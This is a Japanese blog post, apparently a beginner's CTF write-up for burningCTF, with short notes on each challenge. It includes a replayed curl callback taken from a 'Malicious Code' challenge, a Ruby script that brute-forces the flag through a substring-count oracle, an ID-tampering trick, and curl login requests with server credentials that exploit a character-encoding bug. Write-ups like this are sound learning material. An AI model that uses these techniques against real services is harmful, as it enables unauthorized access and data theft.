眠気

戯言とメモ

burningCTFのwriteup的なもの

和風(WAF〜)CTFというとてもナイスなデザインのCTFであった

全体的に初心者向けであったので、メチャンコ初心者な自分にも楽しめた

稚拙ながら、とりあえず解けた問題のwriteupというか感想というか なものを書いてみました。

101 image level 1

つなげるだけ

111 ワットイズディス?

漢字2文字 + カタカナ(甲骨文字

112 cole nanee?

メッチャ忍にしか見えなかった

113 Lines and Boxes

画像検索するとアルファベットの漢字化みたいなのが出てきたのでNARUHODOとなった

115 毎日使う

「気」を入れてダメだったから戸惑って諦めてしばらく放置してしまった

氣合が足りない

121 壱萬回

objdump -d すると、

 0000000000400920 <showFlag>:
  400920:   48 83 ec 08             sub    $0x8,%rsp
  400924:   bf 46 00 00 00          mov    $0x46,%edi
  400929:   e8 a2 fc ff ff          callq  4005d0 <putchar@plt>
  40092e:   bf 4c 00 00 00          mov    $0x4c,%edi
  400933:   e8 98 fc ff ff          callq  4005d0 <putchar@plt>
  400938:   bf 41 00 00 00          mov    $0x41,%edi

    ...

 のところで難しい計算などはせず、putcharしかしていないみたいな感じであったので、movのところの16進数を取り出して

 echo "464C41475F3563333361316238383630653437646138363437313465303432653133663165" | xxd -r -p

みたいな感じであった

123 Unity遊戯如何様

f:id:lailaiskyn:20160209010501p:plain

この部分のilをいじってコインが増える数を増やすとFlagが出てきた

3つコインをとればFlagが出るので、2個ずつ増やすようにしたら3を越えて出なかった気がする

たまたま友人がこういうものを書いてくれていたおかげでなんとかなった 感謝?

qiita.com

mac用にビルドされていたけれど、

macでうまくilがいじれなかったのでmac向けの問題だったのかよくわからない感じであった


131 image level 5

md5 シーザーと思ったけれど並べ替えだった

132 Ninjya Crypto

忍者文字的な

133 Decrypt RSA

rsaググると解き方が見つかった。気がする

142 Ninja no Aikotoba

encryptはプログラム書こうかと思ったけど手作業で出来た

難しくて長くかかったけどfirst solveして嬉しかった

161 ftp is not secure.

wiresharkで眺めてFTP Dataのサイズが1500くらいのやつをfollow tcp streamするとbase64っぽいのがあるのでデコード

strings 161-problem.pcap | grep ==

162 ベーシック

パケットを再現したら解けてしまったので深く考えていなかったけど、しばらくしてから:に気付いた

164 Japanese kids are knowing

苦しゅうないと書かれているのでmasscanとかでスキャン

開いてるポートにncで繋ぐと

```<C-D-E-F-E-D-C---E-F-G-A-G-F-E---C-C-C-C-CCDDEEFFE-D-C->what animal am i?the flag is the md5 hash of my name in lower case.```

塩基配列か何かかと思ってすごい時間かかったけど音符であった

165 Malicious Code

windowsのプロパティだと全部読めないのでstringsとかで読んで実行するといい感じになるので、それを^取ってアレして実行すると結局こんな感じになる。

curl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "myaddr=myIP" -k https://210.146.64.38:60444/p.php`

myIPに65行目のIP(10.0.2.222)入れてPOST

173 Akiko-chan

画像検索して出てきたurlを解答

181 search_duplicate_character_string

とても頭が悪いコードを書いてしばらく待って出てきたやつを使って手作業で適当にやると10分もかからなかったので良かろうもんであった

 a = File.open("dup.txt")
str = ""
a.each do |s|
 str += s
end
spl = str.scan(/.{1,#{5}}/)
counts = []
spl.each_with_index{|a,i|
    cn = spl.count(a)
    print  i,"/",spl.length," ",cn,"\n"
    counts.push([i,cn])
    }
moredupsample = []
counts.each{|a|
    moredupsample.push(a[0]) if a[1]!=1
}
moredupstr = []
moredupsample.each{|m|
  next if spl[m] == nil
  # print str.scan(spl[m])," ",spl[m],"\n" if spl[m] != nil
  s = str[str.index(spl[m]),6] if spl[m] != nil
  moredupstr.push(str.scan(s)) if str.scan(s).length != 1
}
fl = true
c = 10
while fl do
moredupstr2 = []
moredupstr.each{|m|
  s = str[str.index(m[0]),c+=1]
  moredupstr2.push(str.scan(s)) if str.scan(s).length != 1
}
fl = false if  moredupstr2.length <2
end
p moredupstr2

雑魚

182 JavaScript Puzzle

nodejsで頭悪そうな総当りを書こうとしていたけれど、めもりなくなって止まったりアレだった

こんな感じで読んでいくとそれっぽい感じになる

0b1001100 = 76 = 0x4C = L
(0O000101) = 65 = 0x41 = A
(101)     = 101 = 0x65 = e

難しかった

[(0O000101),(0b1001100),(101),0x52,0x54]["map"](x => String["fromCodePoint"](x))["join"]("")["toLowerCase"]()

183 Count Number Of Flag's SubString!

これまた頭悪そうコードを書いたのだった

require 'net/http'
require 'uri'
url = URI.parse('http://210.146.64.36:30840')
alpha = [*"a".."z"]
alpha.push("_")
str = "flag={"
grs = []
loop do |time|
  flg = true
  cou = 1
  alpha.each_with_index do |a,i|
      next unless flg
      strs = str + a
    res = Net::HTTP.start(url.host, url.port) {|http|
      http.get('/count_number_of_flag_substring/?str='+  strs +'&count=count')
    }
    cnt = res.body.match(/are.*</).to_s.gsub("are","").gsub("<","").to_i
    puts strs
    if cnt > 0
      flg = false
      str += a
    end
  end
  sleep 0.1
end

184 解凍?

頭悪そうなコードを書いてひたすら解凍したけど途中で拡張子が変わったりすると止まったりしてその都度手作業だったのは阿呆であった

191 GIFアニメ生成サイト

画像をアップロードすると出てくる生成ボタン

<input type="button" value="生成" id="cb" class="btn btn-primary" data-id="????">

の data-id= を1にするとCTFあるあるが出てくる

writeup見ただけだと簡単なものだと恐らく思ってしまうけれど、試行錯誤して実際に解けると感動するものであったのだなあ となった

193 箱庭XSS

stringsでアレなjsを見つけて実行しただけであった

アレな感じもしたけれど、他の人も同じ解き方してる人がいて安心

194 YamaToDo

Web問に慣れていなかったので、これもxssすれば良いのかとか色々試行錯誤してたけど何も出来ず、

コードを読むとあからさまなsjis対策がされていたので、文字コードの問題なのかと思う

euc-jpかと思い、適当にここの文字列を貼り付けて適当なSSIDcurlでPOSTしてみる

curl 'http://yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx@210.146.64.44/?ie=ujis' --data 'user_id=yamato&password=◆□■△▲▽▼※〒→←↑↓〓�����������∈∋⊆⊇⊂⊃∪∩�������action=login' -H 'Cookie: PHPSESSID=testtest'

このSSIDでログイン出来たので、ujisをちょっと調べてみてもよくわからんけどフラグもあるしよかろうとなった

それをmageさんに聞いてみても?となる

帰って色々削って試してみると

curl  'http://yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx@210.146.64.44'  -H 'Cookie: PHPSESSID=testssid' -d "user_id=yamato" -d password=aaaa
curl -s  'http://yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx@210.146.64.44'  -H 'Cookie: PHPSESSID=testssid' | nkf | grep "☆(ゝω・)v "

Ⱦ角でサブミットしてください☆(ゝω・)v flag={r3m3Mb3r_5c_pr0bL3m}  

(・ω・)??

ということは...となり

これを

f:id:lailaiskyn:20160208235449p:plain


こうすると

f:id:lailaiskyn:20160208235511p:plain

出来る

f:id:lailaiskyn:20160208235941p:plain

何故

コードを見返すと

f:id:lailaiskyn:20160209003344p:plain

f:id:lailaiskyn:20160209003423p:plain

break 2; ジャナイ

コードちゃんと読めばメッチャ簡単な問題だったので大変たまげた

雑魚ゆえお許し下され…となった

breakコワイ

197 箱庭XSS 2

1と同じ

201/202 将棋詰め

詰将棋勉強しつつ頑張った

203/204 将棋詰め3,4

web上に自動でやってくれるのがあったのでカンニングに任せてしまった…

  • 解説された問題も惜しいところまで行ってたのがわりとあったのは、持ち前の諦めスキルが災いしたせいであったと思う

  • 色んな話を聞いてもっと精進しなくては…という感じがした

  • 初心者を脱したい

  • 一瞬だけ3位になったので成仏しかけた